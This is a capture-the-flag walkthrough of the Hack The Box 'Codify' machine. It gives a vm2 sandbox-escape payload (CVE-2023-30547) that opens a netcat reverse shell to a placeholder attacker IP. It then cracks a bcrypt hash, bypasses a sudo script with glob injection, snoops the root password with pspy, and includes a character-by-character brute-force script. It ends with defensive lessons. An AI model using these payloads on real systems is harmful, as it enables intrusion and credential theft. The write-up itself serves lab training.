Codify // Hack The Box
| Info | Value |
|---|---|
| OS | Linux (Ubuntu) |
| Difficulty | Easy |
| IP | 10.129.x.x |
| Hostname | codify.htb |
| Services | SSH (22), HTTP/Apache (80), Node.js Express (3000) |
Enumeration
Nmap
sudo nmap -Pn -sC -sV -p- -vvv -oA nmap.scan codify.htbPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp open http Apache httpd 2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
Open ports:
- 22/tcp // OpenSSH 8.9p1 Ubuntu
- 80/tcp // Apache 2.4.52, reverse proxy to the Node.js web app
- 3000/tcp // Node.js Express // web application for testing JavaScript code in a sandbox
Web Enumeration
The application on port 80/3000 is an online JavaScript code editor. The /about page reveals it uses the vm2 library to execute code in a sandboxed environment.
Identified version: vm2 3.9.16 // a version known for critical sandbox escapes.
Foothold // CVE-2023-30547 (vm2 Sandbox Escape)
Vulnerability
vm2 < 3.9.17 // The vm2 library for Node.js creates a sandbox to run untrusted code. Versions up to 3.9.16 contain a flaw in the
handleException()mechanism: an attacker can use aProxyobject with a customgetPrototypeOftrap to access the host context’sErrorobject, escape the sandbox, and achieve RCE on the system.Structural root cause: the sandbox catches exceptions with
try/catch, but the exception’s__proto__getter can be overridden via Proxy, allowing a reference to the host context to leak out of the sandbox.Ref: https://nvd.nist.gov/vuln/detail/CVE-2023-30547 PoC: https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244
Exploitation
Payload entered directly into the web application’s code editor:
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.__proto__ = null;
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('busybox nc <ATTACKER_IP> 443 -e /bin/bash');
}
`;
vm.run(code);The payload uses a Proxy to intercept getPrototypeOf during the exception catch. When the sandbox attempts to resolve the error’s prototype, the Proxy returns a reference to the host’s constructor, which grants access to process.mainModule.require('child_process') for arbitrary command execution.
Reverse shell
# Listener on attacker
nc -nvlp 443connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.x.x] 43210
whoami
svc
Shell stabilization:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xtermUser svc (UID 1001) is the Node.js service account. No access to user.txt // lateral movement required.
Lateral Movement // From svc to joshua
Enumeration as svc
svc@codify:/var/www/editor$ ls node_modules/ | grep vm2
vm2Confirmed vm2 library in the application directory.
svc@codify:~$ find / -name "*.db" -readable 2>/dev/null
/var/www/contact/tickets.dbCredential extraction from SQLite
svc@codify:~$ sqlite3 /var/www/contact/tickets.db
sqlite> .tables
tickets users
sqlite> SELECT * FROM users;
3|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2Bcrypt hash ($2a$12$) for user joshua.

Hash cracking
# Transfer hash to attacker machine
echo '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > hash.txt
# Crack with hashcat (mode 3200 = bcrypt)
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1
SSH as joshua
ssh joshua@codify.htb
# Password: spongebob1User flag: obtained.
Privilege Escalation // Bash Glob Injection + Process Snooping
sudo -l
joshua@codify:~$ sudo -l
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.shScript analysis
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh#!/bin/bash
DB_USER='root'
DB_PASS=$(/usr/bin/cat /root/.creds)
# ...
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
if [[ $USER_PASS == $DB_PASS ]]; then
/usr/bin/mysqldump ... -u "$DB_USER" -p"$DB_PASS" ...
else
echo "Access denied."
fiVulnerability // two vectors
1. Bash glob injection: the comparison
[[ $USER_PASS == $DB_PASS ]]uses$DB_PASSwithout quoting. Inside[[ ]], the unquoted right-hand side is treated as a glob pattern. The*character matches any string. Entering*as the password makes the comparison always evaluate to true.2. Process snooping: if the comparison succeeds, the script runs
mysqldump -p"$DB_PASS"with the real password as a process argument. Tools likepspymonitor/procviainotifyand read thecmdlineof every new process, capturing the password in cleartext before the process terminates.For countermeasures see Process Hardening (
hidepid, argv masking).
Approach 1 // Glob bypass + pspy (fastest)
# Terminal 1 // process monitoring
joshua@codify:~$ ./pspy32# Terminal 2 // run the script
joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root: *The * bypasses the comparison. The script proceeds and launches mysqldump with the real password. pspy output:
CMD: UID=0 /usr/bin/mysqldump ... -u root -p<REDACTED> ...

Root password captured in cleartext.
Approach 2 // Character-by-character brute-force
If pspy is unavailable, the password can be extracted one character at a time using the same glob trick:
#!/bin/bash
# brute-privesc.sh //glob brute-force
charset='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
password=''
echo "[*] Brute-forcing password via glob injection..."
while true; do
found=0
for (( i=0; i<${#charset}; i++ )); do
c="${charset:$i:1}"
attempt="${password}${c}*"
if echo "$attempt" | sudo /opt/scripts/mysql-backup.sh 2>/dev/null | grep -q "successfully"; then
password="${password}${c}"
echo "[+] Found: $password"
found=1
break
fi
done
if [[ $found -eq 0 ]]; then
echo "[*] Complete password: $password"
break
fi
donea* fails. k* succeeds (first character). kl* succeeds. And so on until the full password is reconstructed.
Root shell
joshua@codify:~$ su root
Password: <REDACTED>
root@codify:~# cat /root/root.txtRoot flag: obtained.
Attack Chain Summary
Nmap → 3 open ports, Node.js Express on 3000
↓
Web app uses vm2 3.9.16 → CVE-2023-30547 sandbox escape → RCE
↓
Reverse shell → svc
↓
/var/www/contact/tickets.db → joshua's bcrypt hash
↓
hashcat -m 3200 → spongebob1 → SSH as joshua → user.txt
↓
sudo -l → /opt/scripts/mysql-backup.sh
↓
Bash glob injection (*) + pspy → root password in cleartext
↓
su root → root.txt
Flags
- User: obtained (as joshua via SSH)
- Root: obtained (as root via su)
Lessons Learned
- vm2 sandbox escape (CVE-2023-30547): The vm2 library was deprecated after a series of unfixable sandbox escapes. Never use vm2 to run untrusted code in production //use
isolated-vm(V8 isolates) or Docker containers with seccomp instead. - Bash
[[ ]]and glob patterns: The comparison[[ $a == $b ]]without quoting the right-hand side interprets$bas a glob pattern. The fix is trivial:[[ "$a" == "$b" ]]. Always quote variables in bash comparisons. - Passwords as process arguments:
mysqldump -p"password"exposes the password in/proc/PID/cmdline. Any local user can read it withps -eforpspy. The solution is to use configuration files (~/.my.cnf) or environment variables, and enablehidepid=2on/proc. See Process Hardening. - Lateral movement via local databases: Unprotected SQLite databases in web application directories are a frequent source of credentials. Always search for
*.db,*.sqlite,*.sqlite3during enumeration.
Timeline
- Total time: ~3h
- Where I spent the most time: Privesc //analyzing the script and experimenting with pspy to intercept the password
- Subjective difficulty: 4/10